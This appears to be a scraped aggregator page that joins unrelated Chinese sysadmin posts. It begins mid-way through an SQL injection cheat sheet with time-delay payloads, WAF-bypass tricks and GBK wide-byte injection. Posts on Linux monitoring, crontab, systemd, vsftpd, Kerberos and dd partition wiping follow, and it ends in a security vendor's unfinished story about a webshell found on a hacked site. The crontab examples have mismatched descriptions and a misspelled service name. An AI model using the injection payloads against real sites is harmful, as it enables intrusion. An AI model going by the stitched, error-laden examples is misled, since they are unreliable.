3.1.4.3. SQLServer WAITFOR WAITFOR DELAY '00:00:10'; SERVERNAME SELECT @@SERVERNAME version SELECT @@version 字符串连接 SELECT 'some'+'string' 常量 @@pack_received @@rowcount
3.1.4.4. PostgreSQL sleep pg_sleep(1)
3.1.5. 绕过技巧 编码绕过 大小写 url编码 html编码 十六进制编码 unicode编码 注释 // -- -- + -- - # /**/ ;%00 内联注释用的更多,它有一个特性 /!**/ 只有MySQL能识别 e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3 只过滤了一次时 union => ununionion 相同功能替换 函数替换 substring / mid / sub ascii / hex / bin benchmark / sleep 变量替换 user() / @@user 符号和关键字 and / & or / | HTTP参数 HTTP参数污染 id=1&id=2&id=3 根据容器不同会有不同的结果 HTTP分割注入 缓冲区溢出 一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理 二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过
3.1.6. SQL注入小技巧
3.1.6.1. 宽字节注入
一般程序员用gbk编码做开发的时候,会用 set names 'gbk' 来设定,这句话等同于
set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';
漏洞发生的原因是执行了 set character_set_client = 'gbk'; 之后,mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的。但是直接用 set names 'gbk' 的话real_escape是不知道设置的数据的编码的,就会加 %5c 。此时server拿到数据解码 就认为提交的字符+%5c是gbk的一个字符,这样就产生漏洞了。
解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 mysql_set_charset('gbk') ,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。第三种就是用pdo。如果期间想要渗透测试自己的网站安全性,可以联系专业的网站安全公司来处理解决,国内推荐Sinesafe,绿盟,启明星辰等等的网站安全公司,还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin%32在代码里面不等于admin,在数据库比较会等于admin。
系统运维
2019-09-30 09:56:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
使用w查看系统负载 如图,使用 w 命令可以显示系统负载信息 第一个时间是使用w命令时,系统当前的时间 第二个时间,也就是up后面的时间,是系统运行了多长的时间 这里是 9 days, 22:43 说明系统运行了9天22分钟 2 users 表示有两个用户登录了系统 load averagge 后面的三列数字表示系统负载的数值 第一列是过去1分钟的平均负载,第二列是过去5分钟的平均负载,第三列是过去15分钟的平均负载 比如每个cpu有有一个默认负载极限 过去一分钟实际运行的进程比默认的负载极限少 那么 过去一分钟的进程数/极限进程负载数 就会小于 1 如果过去一分钟的进程数等于极限进程负载数 这两个值相除,就等于1 如果1分钟内的进程数大于极限负载数,两个值相除,就会大于1 这个值最好是 小于等于1,如果大于1,说明负载太高 对于多核cpu负载极限也不同 比如,单核cpu负载极限是1,双核就是2,8核就是8 负载极限是按照逻辑cpu来算的,而不是物理cpu 想查看逻辑cpu数量,可以 cat /proc/cpuinfo 如图,可以看 processor 这一行数据 这里是 0 ,就表示有一个逻辑cpu 这一行数据是从0开始的,实际上 0 就表示1个逻辑cpu 如果这一行数值是7,那就表示有8个逻辑cpu 这一行的数值加 1 就是逻辑cpu的个数 所以 processor 这一行的值+1乘以1就是服务器的极限负载能力值 load average 小于或者等于这个值就说明服务器负载没有问题 大于这个值说明实际负载大于服务器极限负载值 使用 uptime 命令也可以查看系统负载信息,不过一般都使用 w
vmstat 命令 vmstat 可以查看当前系统cpu,磁盘,内存等的使用状况 如图,使用命令 vmstat 可以查看一次当前状况 如果想不断的更新使用状况,可以使用 vmstat 1 这样系统每过1秒,就会显示一次当前的系统使用状况 也可以使用 vmstat 1 5 这条命令意思是 每秒显示一次信息,总共显示5次 这样就可以看到接下来5秒的系统使用状况 vmstat 显示的信息主要分为几部分,常用部分有 procs 代表 cpu memory 代表内存 swap 代表交换分区 io 代表磁盘 cpu cpu使用时间百分比 procs 下面有 r 跟 b 两列 r 是 run 的意思 意思是cpu在处理的进程数量 一般正在处理和等待处理的进程数量都在 r 显示 b 是 block 的意思 下面是数值也是进程数量 跟r的区别是,由于网络,或者磁盘等原因卡死等待的进程数量 会显示在这里,比如一个进程需要网络传输数据 但是网络太慢,数据没有传输完成,导致cpu不能处理该进程 这个进程就会进入等待,因为是网络卡导致的等待 会显示在 b 这一列里面 memory下面的 swpd 是交换分区的意思 如果内存不够用了,系统会将内存里面的一部分数据放到交换分区里面 交换分区一般是在磁盘上面 这个分区如果频繁变动 说明内存在不断的与交换分区交换数据 也就表示内存是不够用的 swap 下面的 si,so 跟swpd有关系 si,so就表示交换分区的读写状况,单位是kb 所以 swpd 有变动的话 si,so也一定有数据变化 i表示in,o表示out,目标对象都是内存 所以 si 是数据 in 内存,也就是从swap 读数据进入内存 so 是数据 out 内存,也就是从内存出来,写入swap si 表示数据从交换分区写入内存 so 表示数据从内存写入交换分区 io下面的 bi,bo 代表磁盘读写 目标对象也是内存 所以 bi 表示 in 内存,从磁盘读取数据写入内存 bo 表示 out 内存,从内存读取数据写入磁盘 bi 数据从磁盘到内存 bo 数据从内存到磁盘 cpu 下面常用的是 us,单位是百分比 us 表示用户的进程占用cpu使用时间的百分比 举例说明,cpu 开启了 10秒 有 5秒 都在处理用户的进程 那么 us 就是 50 sy 是系统自己的进程占用的cpu使用时间百分比 id 表示cpu空闲的时间的百分比 cpu从启动开始,一般就是两种状态,空闲 或者处理进程 那么 空闲时间 + 处理进程的时间 = 总的时间 us 就是 处理用户进程的时间 除以 总的时间 的百分比 sy 就是 处理系统进程的时间 除以 总的时间 的百分比 id 就是 空闲时间 除以 总的时间 的百分比 所以 us + sy + id = 100(百分百) 一般 us 超过 50 说明 cpu 可能性能不足以应付当前任务 wa 是进程等待数的百分比,表示在等待状态的进程占总进程数的百分比
top 命令 top 可以查看系统进程使用状况 top 命令每3秒更新一次信息 如图,第一行的信息跟 w 第一行一样 第二行有几列信息,分别是 total,runningg,sleeping,stopped,zombie total表示总共有几个进程,这里总共有95个进程 running就是正在运行的进程,也就是cpu正在处理的进程 也是 vmstat 中 r 状态的进程 sleeping 表示进程在休眠状态,可以过一段时间才会运行 stopped 表示进程在停止状态的进程数 zombie 意思是主进程因为某种原因已经终止了 但是留下的子进程并没有被终止,这些子进程就没人管了 还在自动运行,但是是没用的,这些子进程就是zombie状态 第三行是cpu的信息 可以在第三行看到 us sy id wa st 的信息 主要要看的也是这几个 其中,st 代表 cpu 被偷走的时间百分比 如果服务器做了虚拟化,就会产生虚拟机 而虚拟机的cpu利用的资源实际来自于服务器的真实cpu st 也就是 cpu 被虚拟机拿去使用的时间的占比 主要还是观察 us 的使用情况 尽量保证 us 占比在 60 一下 因为 cpu 常年满负荷运转的话,会缩短使用寿命 所以一般在60以下比较好 us 和 load average 不一定有关系 因为系统负载跟进程数占用cpu有关 但是占用cpu的进程不一定是 r 状态 如果不是 r 状态,那么 us 就不高 Mem 是内存信息 第一列是总内存大小 第二列是空闲内存大小 第三列是已经使用的内存大小 如图,下面显示的是进程的信息 一般来说,默认是按照 cpu 的占用率来进行排序 cpu 占用高的进程会在上面 %MEM是内存的占用率 RES 是进程使用的实际内存,单位是kb RES 除以 上面的total 就可以得到 %MEM 内存占用率 除了按照cpu占用率排序之外 还可以按照内存占用率排序,使用 大写M 就可以按照内存占用率排序 也就是按 大写的M键 如果想切换回来,按照cpu占用率排序,可以使用 大写P 键 还可以切换不同的cpu查看进程,使用按键 1 按 1 就可以在不同的cpu之间进行切换 使用命令 top -c 如图,c 参数可以在 COMMAND 列 显示详细的命令信息,如这个命令的地址等 还可以使用 top -bn1 命令 这样可以一次性把所有的进程信息都列出来,适合在写脚本时使用 如果想kill一个进程,可以使用 kill命令 + PID 来杀死一个进程
sar命令 如果系统没有sar命令,就需要安装一个包 yum install -y sysstat 就可以安装sar命令的包 安装完包,直接使用 sar 命令,出现错误 因为在不加参数的情况下使用 sar 命令 sar 会调用 /var/log/sa 目录里面的历史文件 sar 每隔10分钟,会自动保存一个历史文件在这个目录里面 因为现在刚刚安装完包,这个目录里面还没有历史文件,所以调用出现错误 没有历史文件的情况下,想使用sar 就需要加上参数使用 如图,sar -n DEV 1 3 可以查看网卡信息 参数 -n 是网络设备的意思 参数 DEV 是 -n 的参数,指网络设备的统计信息 网络设备有不同类型的统计信息,DEV是设备基本的统计信息 参数 1 是指 每秒统计一次,参数 3 是指 总共统计三次 也就是 3 秒后sar命令会自动结束 使用命令后,下面出现的信息 第一列是统计信息的时间 第二列是网卡的名字,这里有两个网卡,分别是 lo 和 ens33 第三列 rxpck/s 是每秒接收到的数据包,单位是个 第四列 txpck/s 是每秒发送出去的数据包,单位是个 第五列 rxkB/s 是每秒接收的数据量,单位是kb 第六列 txkB/s 是每秒发送出去的数据量,单位是kb 最后三列不怎么用到,主要看数据包跟数据量的列 接收的数据包,如果是每秒几千个,算是正常的 如果每秒上万个,可能是被攻击了 使用这条命令,可以查看 /var/log/sa/ 目录下的历史文件 历史文件生成名称是有规律的,一般是 sa+当天的日期的日 比如,今天是10月01日,那么今天生成的历史文件名称就是 sa01 如果是10月20日生成的历史文件,那么文件名就是 sa20 当天的历史文件,每隔10分钟会更新一次 这个文件夹下面的历史文件最多保留1个月就会自动删除 这条命令里面,使用 -f 参数才可以打开文件,后面接文件地址 目录 /var/log/sa/sa01 这个历史文件是 二进制文件,不能 cat 查看 sa目录下面除了sa01,还会生成 sar01 这个文件 不过 sar01 要到第二天才会出现,sar01 是文本文件 直接使用 cat 就可以读取内容 sar -q 1 10 查看每秒的负载,总共看10秒,不过每秒负载意义不大 直接 sar -q 系统自动分为 每10分钟的负载 或者使用 sar -q -f /var/log/sa/sa01 查看当天的负载 这里,ldavg-1就是前1分钟的负载情况 ldavg-5就是前5分钟,ldavg-15就是前15分钟负载 sar -b 1 5 查看磁盘读写情况,每秒统计1次,总共5次 下面的信息就是磁盘的读写情况,可以用 sar -b 查看
nload命令 nload 也可以监控网卡流量 nload 也是需要安装包的 安装 nload 包之前,需要先安装 epel-release 包 安装好之后,再使用 yum install -y nload 安装 nload 包 安装好包之后,输入 nload 回车,就会出现上图界面 可以实时看到网卡的流量信息 Curr 是当前值,Avg是平均值,Min是最小值,Max是最大值 第一行数据,ens33就是网卡名称 后面是 ip 地址,然后(1/2)表示总共有2个网卡,这是其中一个 使用 右方向键,可以切换到第二个网卡,如上图,可以看到第二个网卡的信息 右方向键可以切换网卡,看到不同网卡的信息 也可以使用左方向键向左切换 右方向键可以来回切换,左方向键只能向左切换 按 q 退出该界面
系统运维
2019-09-29 22:48:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
查看配置文件:/etc/crontab [root@linux ~]# cat /etc/crontab SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root # For details see man 4 crontabs # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed
从配置文件中可以看出,5个星号从左到右分别表示: 分(取值范围:0-59) 时(取值范围:0-23) 日(取值范围:1-31) 月(取值范围:1-12)或者 jan,feb,mar,apr等英文简写表示 星期几(取值范围:0-6,星期天等于0或者7)或者mon,tue,wed,thu,fri,sat,sun
星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”
中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”
正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。
crontab任务以用户来区分,对应用户的任务计划文件位置:/var/spool/cron/ 该目录下,目录名代表用户名,每个用户设定的任务计划在各自的目录中,如需备份直接复制该目录中的crontab文件即可
启动:systemctl start crond.service
关闭:systemctl stop crond.service
重启:systemctl restart crond.service
查看状态:systemctl status crond.service (active为绿色即运行中,白色未运行)
-u 参数:指定用户(查看、新增、删除指定用户的任务计划)
-e 参数:编辑crontab任务计划,如不指定用户,默认编辑当前用户的crontab文件
-l 参数:显示任务计划内容,如不指定用户,默认显示当前用户的任务计划
-r 参数:删除某个用户的crontab文件,如不指定用户,默认删除当前用户的crontab文件
备份crontab:
1.拷贝/var/spool/cron/目录下的文件
2.crontab -l > /home/cronbak
恢复:crontab /home/cronbak
实例1:每1分钟执行一次command
* * * * * command
实例2:每小时的第1和第30分钟执行
1,30 * * * * command
实例3:在上午7点到10点的第1和第30分钟执行
1,30 8-11 * * * command
实例4:每隔两天的上午7点到10点的第1和第30分钟执行
1,30 7-10 */2 * * command
实例5:每个星期一的上午7点到10点的第1和第30分钟执行
1,30 8-11 * * 1 command
实例6:每晚的22:30重启firewalld
30 22 * * * /usr/bin/systemctl restart firewlld.service
实例7:每月1、10、25日的5 : 30重启firewalld
30 5 1,10,22 * * /usr/bin/systemctl restart firewlld.service
实例8:每周六、周日的2 : 30重启firewalld
30 2 * * 6,0 /usr/bin/systemctl restart firewlld.service
实例9:每天19:00至23:00之间每隔20分钟重启一次firewalld
0,20,40 19-23 * * * /usr/bin/systemctl restart firewlld.service
实例10:每星期六的晚上11 : 00 pm重启firewalld
0 23 * * 6 /usr/bin/systemctl restart firewlld.service
实例11:每小时重启一次firewalld
* */1 * * * /usr/bin/systemctl restart firewlld.service
实例12:晚上10点到早上8点之间,每隔一小时重启firewalld
* 22-8/1 * * * /usr/bin/systemctl restart firewlld.service
实例13:每月的4号与每周一到周三的11点重启firewalld
30 2 5 * mon-wed /usr/bin/systemctl restart firewlld.service
实例14:一月一号的5点重启firewalld
0 5 1 jan * /usr/bin/systemctl restart firewlld.service
实例15:五月每隔7天重启firewalld * * */7 5 * /usr/bin/systemctl restart firewlld.service
查看系统服务: [root@linux ~]# chkconfig --list 注:该输出结果只显示 SysV 服务,并不包含 原生 systemd 服务。SysV 配置数据 可能被原生 systemd 配置覆盖。 要列出 systemd 服务,请执行 'systemctl list-unit-files'。 查看在具体 target 启用的服务请执行 'systemctl list-dependencies [target]'。 netconsole 0:关 1:关 2:关 3:关 4:关 5:关 6:关 network 0:关 1:关 2:开 3:开 4:开 5:开 6:关
系统显示了netconsole和network两个服务,对应的值表示各个运行级别下的服务开关状态,如果是开,该服务将开机启动,服务脚本路径在/etc/init.d/下: [root@linux ~]# ls /etc/init.d/ functions netconsole network README
运行级别: runlevel命令查看
0:表示关机状态 1:表示单用户模式 2:表示多用户模式(与3级别相比没有NFS服务) 3:多用户模式 4:未使用,系统保留 5:图形界面的多用户模式 6:表示重启
开启服务: [root@linux ~]# chkconfig network on
关闭服务: [root@linux ~]# chkconfig network off
指定运行级别下关闭或开启操作: [root@linux ~]# chkconfig --level 345 network off [root@linux ~]# chkconfig --list network 0:关 1:关 2:开 3:关 4:关 5:关 6:关
--level :指定操作的运行级别,示例中指定3,4,5级别下关闭
添加自定义脚本到chkconfig管理:
1.先将脚本放入目录 /etc/init.d/中 [root@linux ~]# cp /etc/init.d/network /etc/init.d/test [root@linux ~]# ls /etc/init.d/ functions netconsole network README test
2.添加服务: [root@linux ~]# chkconfig --add test [root@linux ~]# chkconfig --list test 0:关 1:关 2:开 3:开 4:开 5:开 6:关
3.删除服务: [root@linux ~]# chkconfig --del test
在Centos7以下版本,主要使用chkconfig管理系统服务,Centos7中主要使用systemd管理,Centos7也保留了chkconfig命令
列出系统服务: [root@linux ~]# systemctl list-unit-files
该命令会列出所有系统服务,以及服务的状态(enabled、disabled、static:表示该服务与其他服务关联,不能单独设置状态,可能需要等待其他服务唤醒)
只查看service服务: [root@linux ~]# systemctl list-units --all --type=service
不加- -all 只列出在运行的(active)服务,未运行(inactive)的服务不会显示
启动服务: [root@linux ~]# systemctl restart crond.service
关闭服务: [root@linux ~]# systemctl stop crond.service
重启服务: [root@linux ~]# systemctl restart crond.service
查看服务状态: [root@linux ~]# systemctl status crond.service
开机禁止启动: [root@linux ~]# systemctl disable crond.service
开机启动: [root@linux ~]# systemctl enable crond.service
查看服务是否开机启动: [root@linux ~]# systemctl is-enabled crond.service enabled
unit:
服务文件路径: root@linux ~]# ls /usr/lib/systemd/system
该目录中包含系统所有服务的文件,将这些服务文件称为unit,unit分为以下类型: service 系统服务 target 多个unit组成的组 device 硬件设备 socket 网络通信的套接字 swap sawp文件 等等……
显示正在运行的unit: [root@linux ~]# systemctl list-units
- -all 显示所有,包括inactive的unit
显示状态为inactive的unit; [root@linux ~]# systemctl list-units --all --state=inactive
显示状态为active并且类型为service的unit: [root@linux ~]# systemctl list-units --type=service
查看某个服务是否为active: [root@linux ~]# systemctl is-active crond active
target:
target中包含多个unit,可以理解为用于管理unit,一个service属于一种类型的unit,多个unit组成了一个target
查看系统中的target: [root@linux ~]# systemctl list-unit-files --type=target
查看指定的target中包含了哪些unit: [root@linux ~]# systemctl list-dependencies multi-user.target
target中还可以包含其他target
查看系统默认的target: [root@linux ~]# systemctl get-default multi-user.target
设置系统默认的target: [root@linux ~]# systemctl set-default reboot.target
如果将reboot.target设为默认target,那么系统开机后会一直重启
查看指定unit属于哪个target:(服务文件中的 [Install] 项) [root@linux ~]# cat /usr/lib/systemd/system/crond.service [Unit] Description=Command Scheduler After=auditd.service systemd-user-sessions.service time-sync.target [Service] EnvironmentFile=/etc/sysconfig/crond ExecStart=/usr/sbin/crond -n $CRONDARGS ExecReload=/bin/kill -HUP $MAINPID KillMode=process [Install] WantedBy=multi-user.target #属于mulit-user.target
系统运维
2019-09-29 22:14:00
「深度学习福利」大神带你进阶工程师,立即查看>>> yum -y install gcc automake autoconf libtool make wget https://www.openssl.org/source/old/1.0.1/openssl-1.0.1e.tar.gz mv openssl-1.0.1e.tar.gz /opt/software/ tar -vaxf /opt/software/openssl-1.0.1e.tar.gz -C /opt/module/ cd /opt/module/openssl-1.0.1e/ ./config --prefix=/usr/local --openssldir=/usr/local/ssl make && make install ./config shared --prefix=/usr/local --openssldir=/usr/local/ssl make clean make && make install cp libssl.so.1.0.0 libcrypto.so.1.0.0 /usr/lib64
系统运维
2019-09-29 21:25:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
需要安装一个ftp服务。要求:1 不允许ftp用户来ssh登录服务器,2 不允许ftp用户向上级目录访问
看了网上好多文档都是垃圾。要么ftp不能登录,要么ftp 等登录但是ssh也能登录,要么就是用户可以向上级目录访问。下面归纳一下正确的姿势
1 安装vsftpd 服务 yum install vsftpd -y
2 添加ftp用户 # 添加 /bin/false [root@club-ftp ftp]# cat /etc/shells /bin/sh /bin/bash /usr/bin/sh /usr/bin/bash /bin/false # 创建ftp用户,切记后面是/bin/false 而不是很多文档中说的/sbin/nologin useradd ftpuser -d /data/ftp -g ftp -s /bin/false # 修改密码 passwd ftpuser
3 修改vsftpd配置文件
修改配置文件/etc/vsftpd/vsftpd.conf chroot_local_user=YES chroot_list_enable=NO # 原始文档中没有这个,加上 allow_writeable_chroot=YES
4 重启vsftpd服务 systemctl restart vsftpd
系统运维
2019-09-29 21:05:03
「深度学习福利」大神带你进阶工程师,立即查看>>>
假定前提
1:你已经知道kerberos是做什么的,有什么用了。
2:操作者叫 zhangsan

常用命令
命令 说明 kdestroy 删除票据
kinit zhangsan {需要密码}获取张三的票据
票据有效期使用的是默认值,此处是12小时
kinit -l 1h zhangsan 获取张三的票据,指定过期时间是1小时
过期时间的单位有 s秒 m分钟 h小时 d天
如果时间超过设置最大值,使用最大值
klist 查看票据
Valid starting 生效时间
Expires 过期时间
renew until 在此时间之前都可以免密续期
kinit -R 续期,注意不会改变renew until



客户端的配置文件是 /etc/krb5.conf

Kerberos 凭证(ticket) 有两个属性, ticket_lifetime 和 renew_lifetime。其中 ticket_lifetime 表明凭证生效的时限,一般为24小时。在凭证失效前部分凭证可以延期失效时间(即Renewable), renew_lifetime 表明凭证最长可以被延期的时限,一般为一个礼拜。当凭证过期之后,对安全认证的服务的后续访问则会失败。

免密登录 # 删除票据 kdestroy ###################### # 管理票据,进入ktutil ktutil # 添加票据 add_entry -password -p {用户名} -k 1 -e aes128-cts add_entry -password -p zhangsan -k 1 -e aes128-cts # 会提示输入密码 Password .... # 票据保存到文件 write_kt /opt/priv.k # 退出 ktutil q ###################### # 查看票据 klist -kt /opt/priv.k -e # 使用票据授权 kinit -kt /opt/priv.k zhangsan # 查看系统票据 klist -e

注意:遇见错误提示
kinit: Key table entry not found while getting initial credentials
是因为加密方式不对,服务端对加密方式有了限制,我们在使用 aes256-cts-hmac-sha1-96 的时候出现了这个错误提示


参考文章
https://docs.oracle.com/cd/E56344_01/html/E54075/kinit-1.html 中文手册
https://blog.51cto.com/caiguangguang/1383723 kerberos的tgt时间理解
https://www.cnblogs.com/morvenhuang/p/4607790.html Kerberos ticket lifetime及其它
https://blog.csdn.net/woloqun/article/details/103277813 深入理解kerberos票据生命周期
https://www.jianshu.com/p/54cd2a659698 Kerberos ticket 生命周期
系统运维
2019-12-08 16:26:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
磁盘存储和文件系统(三)
分区工具fdisk和gdisk
清空分区表,查看分区表 dd if=/dev/zero of=/dev/sdb bs=1 count=2 seek=510 fdisk -l /dev/sdb
添加一块硬盘,识别添加的新硬盘 [root@Centos6 ~]# echo '- - -' > /sys/class/scsi_host/host2/scan
设备名是不稳定的。如 删除了 /dev/sdb5(逻辑分区),后面的/dev/sdb6(逻辑分区)就会变成/dev/sdb5,所以设备名最好不要写到配置文件中。
删除了扩展分区,扩展分区里的逻辑分区就统统全部删除了。

Centos6 上新增分区,删除分区,在不关机的情况下,使硬盘与内存数据同步
Centos6上 /dev/sda上新增了一个分区 /dev/sda6 ,w之后

硬盘上有 /dev/sda6,内存上没有,说明内存与硬盘不同步。最笨的方法就是重新启动。
[root@Centos6 ~]# partprobe /dev/sda //仍然没有同步,用下面的命令可以同步
删除了 /dev/sda6,用下面的命令可同步
[root@Centos6 ~]# partx -d --nr 6 /dev/sda

Centos7 上新增分区,删除分区,在不关机的情况下,使硬盘与内存数据同步
在 /dev/sda上新增加分区 /dev/sda6,/dev/sda7,保存退出,此时会有一段报警
用 partprobe 命令就可直接同步硬盘与内存中的数据了

克隆分区表
目标硬盘 > 源硬盘时,克隆源硬盘的分区到目标硬盘,只会克隆主分区和扩展分区,不会克隆逻辑分区。
[root @Centos7 ~]# dd if=/dev/sda of=/dev/sdb bs=1 count=64 skip=446 seek=446

清空分区表
[root @Centos7 ~]# dd if=/dev/zero of=/dev/sdb bs=1 count=66 seek=446

同步分区表

文件系统
划分分区之后,在分区里组织文件的一种格式,就叫文件管理系统。文件系统各有各的特点,但最基本的功能都有管理文件的功能。
支持的文件系统:

文件系统类型
系统运维
2019-12-08 15:55:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
临近2019年底,客户的公司网站被百度网址安全中心拦截了,公司网站彻底打不开了,影响范围很大,于是通过朋友介绍找到我们SINE安全公司寻求帮忙解封,关于如何解除百度的安全拦截提示,下面就将我们SINE安全的解决办法分享给大家,希望能对您有所帮助。
事件回忆:12月初,客户刚从公司下班回家,接到领导的电话说是网站在百度怎么打不开了,客户第一时间用手机访问网站,发现网站正常,随后又用百度去搜索公司网站域名,发现网站竟然被百度网址安全中心拦截了并提示:违法违规网页,建议关闭,您访问的是://公司域名,此网页可能为违法违规网页,包含非法信息以及不健康内容,请谨慎访问。如下图所示:
整个客户公司的网站在百度无法打开,彻底的被百度拦截掉了,百度提示的肯定是有原因的,我们SINE安全工程师通过百度搜索发现,网站在搜索结果里被标注了:
百度网址安全中心提醒您:该站点可能受到黑客攻击,部分页面已被非法篡改!下图所示:
点击去后,弹出百度的拦截页面,提示:该站点可能由于受到黑客攻击,部分页面已被非法篡改,可能会威胁到您的财产和信息安全,建议您谨慎访问。我们处理了太多像这种情况的网站了,我们打开百度网址安全中心https://bsb.baidu.com/扫描看一下是什么原因导致网站被百度拦截,输入客户公司网址点查询,发现网站被标记危险,并提示:危险,网站网页中含有恶意信息!
这说明网站里含有恶意内容的信息被百度检测到了,但是百度并没有指出到底是哪个网站页面存在恶意信息,看到百度旗下还有个百度云观测的产品,注册免费使用,检测网站的安全情况,没有检测到网站出现安全问题。到底含有恶意内容的信息在哪里?该怎么查找,根据我们SINE安全多年的经验,通过百度的工具以及发送邮件,申诉等通道是获取不到具体的恶意信息链接,百度只是官方的回复一下,具体问题的根源在哪里,得自己动手去查找代码,以及公司网站在百度的收录情况。
发现了问题,客户公司网站在百度的快照内容被篡改了,是一些彩piao内容,既然已经知道网站里含有恶意信息。那就从网站代码开始入手,客户网站使用的是开源的dedecms织梦系统,php+mysql数据库,从服务器压缩了一份,下载到本地的电脑,开始检查源代码,每一行,每一个代码都不要放过,对比客户之前网站备份代码,发现plus下的search.php被篡改了,多出来一些eval一句话木马代码,也叫webshell.
客户的网站首页文件index.html也被篡改添加了代码,尤其标题描述都被篡改了,从百度里搜索点击到客户公司网站,自动跳转到了彩piao网站上去了。这跟index.html被篡改是对应的,我们SINE安全贴出代码让大家看一下: